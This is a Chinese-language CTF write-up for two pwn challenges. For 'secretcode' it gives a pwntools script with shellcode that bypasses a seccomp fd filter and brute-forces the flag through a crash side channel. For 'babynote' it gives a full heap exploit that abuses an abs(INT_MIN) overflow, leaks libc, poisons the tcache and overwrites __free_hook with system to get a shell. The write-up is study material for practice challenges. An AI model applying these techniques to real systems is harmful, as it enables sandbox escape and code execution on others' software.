secretcode
这题实在被自己蠢到了。。调半天一直进不去异常处理,最后发现是自己的io交互写的不严谨,算是个教训吧。不过也学到了一点沙盒和汇编的知识。
题目

开了沙箱

限制了只能使用open和read这两个系统调用
且对文件描述符也进行了限制。但这里存在绕过,因为真正使用read时,fd为int类型只使用rdi的低32位,只要设置rdi高32位大于0即可绕过seccomp的过滤。也就是说read(0x100000003)实际上达到read(3)的效果。
程序读入0x40字节数据,利用strcpy复制到rwx的内存处然后执行
做法
利用open打开flag文件
read将flag读到栈上
爆破,cmp指令比较字符是否相等,若相等则进入死循环,不产生异常将比对的字符加入flag,不相等则炸掉换一个字符继续比较。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| from pwn import *
context(os="linux", arch="amd64")
def cmp_flag_by_byte(p, offset, ch): code = asm( """ push 0x67616c66 xor rdi, rdi xor rdx, rdx xor rsi, rsi mov rdi, rsp push SYS_open pop rax syscall push 1 mov rax, rdx pop rdi shl rdi, 0x20 add rdi, 3 mov rsi, rsp push 0x50 pop rdx syscall mov cl, byte ptr[rsi+{}] mov dl, {} cmp cl, dl jne out jmp $ out: xor rax, rax jmp rax """.format(offset, ch) ) p.sendafter('======== Input your secret code ========\n', code)
def pwn(): flag = "" for offset in range(0x20): for ch in range(0x21, 0x7E+1): p = process("./chall") cmp_flag_by_byte(p, offset, ch) try: p.recv(timeout=1) except: p.close() continue flag += chr(ch) print 'flag===>', flag p.close() break if(chr(ch)=='}'): break
print flag
if __name__ == "__main__": pwn()
|
jmp $跳转当前地址进入死循环,这样在recv的时候就不会报错
jmp rax让程序发生异常,在recv()的时候炸掉从而区别爆破的字符是否匹配
犯的很傻的错就是没有接受完程序本身的输出再判断,少了这一步导致在recv的时候就会收到程序自己的输出,结果不论是否匹配都不会产生报错。。
网上还有一种写法用time.time()计算recv前后的时间差从而判断是否发生异常,不过核心想法差不多。
babynote
题目
add
全局变量tot[0]记录已经申请的chunk数(从0开始)
大于16则退出程序
申请的size不大于0x2F0
分别记录size和chunk指针,只能往后记
read读入内容不存在溢出且会把最后以字节修改为\0
删除不改变变量tot[0],只增不减
edit
输入idx,输入offset,read读入
在计算offset时使用v1 = abs32(read_int()) % chunk_size[v0]
这里函数abs存在漏洞
abs实现如下
1 2 3 4 5 6
| int __cdecl abs ( int number ) { return( number>=0 ? number : -number ); }
|
int类型数值范围为-2^31 ~ 2^31-1,即-2,147,483,648 ~ 2147483647,也即补码下的0x80000000 ~ 0x7fffffff
当执行abs(0x80000000)时,对int值-2,147,483,648取负会发生上溢,得到的结果仍然为-2,147,483,648,所以会返回一个负数
这里输入0x80000000后取余会得到负数,而v1又是int类型的,所以接下来的输入操作就会从当前的chunk的上方开始输入,且可输入的字节数大于其size
1
| read_content((chunk_ptr[v0] + v1), chunk_size[v0] - v1)
|
delete
常规
free掉chunk并清空指针和size
但是计数不会减小
show
常规
打法
申请几个chunk先
利用abs的漏洞修改chunk的size位为三个chunk之和
然后free该chunk
再申请一次对应大小的chunk,让基址落到已存在的指针处从而泄露基址
然后再申请一次,此时全局变量上记录了两个指向同一地址的指针
利用uaf修改tcache的fd申请到__free_hook地址写入system地址
然后free掉对应写入了/bin/sh的指针即可getshell
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| from pwn import* context(os='linux', arch='amd64', log_level='debug') r = process('./chall') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(sz, ms): r.sendlineafter('> ', str(1)) r.sendlineafter('size> ', str(sz)) r.sendafter('msg> ', ms)
def edit(idx, off, ms): r.sendlineafter('> ', str(2)) r.sendlineafter('idx> ', str(idx)) r.sendlineafter('offset> ', str(off)) r.sendafter('msg> ', ms)
def delete(idx): r.sendlineafter('> ', str(3)) r.sendlineafter('idx> ', str(idx))
def show(idx): r.sendlineafter('> ', str(4)) r.sendlineafter('idx> ', str(idx)) for i in range(8): add(0x2e0, 'A'*0x27+'\n')
edit(0, 0x80000000, '\x00'*0x1f8+p64(0x8d1)+'\n') delete(0) add(0x2e0, '/bin/sh\x00'+'\n') show(1) data = u64(r.recv(6).ljust(8, '\x00')) libc.address = data-96-0x10-libc.symbols['__malloc_hook'] free_hook = libc.symbols['__free_hook'] sys_addr = libc.symbols['system'] print hex(libc.address) add(0x2e0, 'A'*0x27+'\n') delete(7) delete(6) delete(9) edit(1, 0, p64(free_hook)+'\n') add(0x2e0, 'A'*0x27+'\n') add(0x2e0, p64(sys_addr)+'\n') delete(8)
r.interactive()
|